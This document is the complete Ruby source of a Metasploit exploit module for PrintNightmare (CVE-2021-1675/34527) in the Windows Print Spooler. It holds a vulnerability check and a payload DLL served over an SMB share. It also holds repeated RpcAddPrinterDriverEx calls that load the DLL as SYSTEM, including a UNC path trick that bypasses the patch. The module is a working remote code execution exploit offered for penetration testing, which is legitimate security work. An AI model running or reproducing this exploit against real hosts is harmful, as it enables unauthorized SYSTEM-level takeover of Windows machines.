The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.
1720ad267b345d6b91409cdb01c0ab129fc9f485ac71c4c4a816698bd6351239##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'
class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Retry
include Msf::Exploit::EXE
include Msf::Exploit::Deprecated
moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'
PrintSystem = RubySMB::Dcerpc::PrintSystem
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Print Spooler Remote DLL Injection',
'Description' => %q{
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
vector which requires the Print Spooler service to be running.
},
'Author' => [
'Zhiniang Peng', # vulnerability discovery / research
'Xuefeng Li', # vulnerability discovery / research
'Zhipeng Huo', # vulnerability discovery
'Piotr Madej', # vulnerability discovery
'Zhang Yunhai', # vulnerability discovery
'cube0x0', # PoC
'Spencer McIntyre', # metasploit module
'Christophe De La Fuente', # metasploit module co-author
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SRVHOST' => Rex::Socket.source_address
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Windows', {
'Platform' => 'win',
'Arch' => [ ARCH_X64, ARCH_X86 ]
},
],
],
'DisclosureDate' => '2021-06-08',
'References' => [
['CVE', '2021-1675'],
['CVE', '2021-34527'],
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']
],
'Notes' => {
'AKA' => [ 'PrintNightmare' ],
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK # the dll will be copied to the remote server
]
}
)
)
register_advanced_options(
[
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])
]
)
deregister_options('AutoCheck')
end
def check
begin
connect(backend: :ruby_smb)
rescue Rex::ConnectionError
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
end
begin
dcerpc_bind_spoolss
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
print_error("The 'Print Spooler' service is disabled.")
end
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
end
@target_arch = dcerpc_getarch
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
if @target_arch == ARCH_X64
@environment = 'Windows x64'
elsif @target_arch == ARCH_X86
@environment = 'Windows NT x86'
else
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end
print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")
print_status('Enumerating the installed printer drivers...')
drivers = enum_printer_drivers(@environment)
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
vprint_status("Using driver path: #{@driver_path}")
print_status('Retrieving the path of the printer driver directory...')
@config_directory = get_printer_driver_directory(@environment)
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?
container = driver_container(
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
)
case add_printer_driver_ex(container)
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_BAD_NET_NAME
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
end
Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end
def run
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
super
end
def setup
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
super
end
def start_service
file_name << '.dll'
self.file_contents = generate_payload_dll
super
end
def primer
dll_path = unc
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
# otherwise the operation will fail with ERROR_INVALID_PARAMETER
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
end
vprint_status("Using DLL path: #{dll_path}")
filename = dll_path.rpartition('\\').last
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)
3.times do
add_printer_driver_ex(container)
end
1.upto(3) do |directory|
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
break if add_printer_driver_ex(container).nil?
end
cleanup_service
end
def driver_container(**kwargs)
PrintSystem::DriverContainer.new(
level: 2,
tag: 2,
driver_info: PrintSystem::DriverInfo2.new(
c_version: 3,
p_name_ref_id: 0x00020000,
p_environment_ref_id: 0x00020004,
p_driver_path_ref_id: 0x00020008,
p_data_file_ref_id: 0x0002000c,
p_config_file_ref_id: 0x00020010,
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
p_environment: @environment,
p_driver_path: @driver_path,
**kwargs
)
)
end
def dcerpc_bind_spoolss
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
end
def enum_printer_drivers(environment)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
DriverInfo2.read(response.p_drivers.map(&:chr).join)
end
def get_printer_driver_directory(environment)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
end
def add_printer_driver_ex(container)
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
begin
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
message = "Error #{nt_status.name} (#{nt_status.description})"
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
print_status('The named pipe connection was broken, reconnecting...')
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
dcerpc_bind_spoolss
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e
false
else
true
end
unless reconnected
vprint_status('Failed to reconnect to the named pipe.')
return nil
end
print_status('Successfully reconnected to the named pipe.')
retry
else
print_error(message)
end
return nt_status
end
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
message = "RpcAddPrinterDriverEx response #{response.error_status}"
message << " #{error.name} (#{error.description})" unless error.nil?
vprint_status(message)
error
end
def rprn_call(name, **kwargs)
request = PrintSystem.const_get("#{name}Request").new(**kwargs)
begin
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
end
PrintSystem.const_get("#{name}Response").read(raw_response)
end
class DriverInfo2Header < BinData::Record
endian :little
uint32 :c_version
uint32 :name_offset
uint32 :environment_offset
uint32 :driver_path_offset
uint32 :data_file_offset
uint32 :config_file_offset
end
# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do
def self.read(data)
header = DriverInfo2Header.read(data)
new(
header,
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
)
end
end
end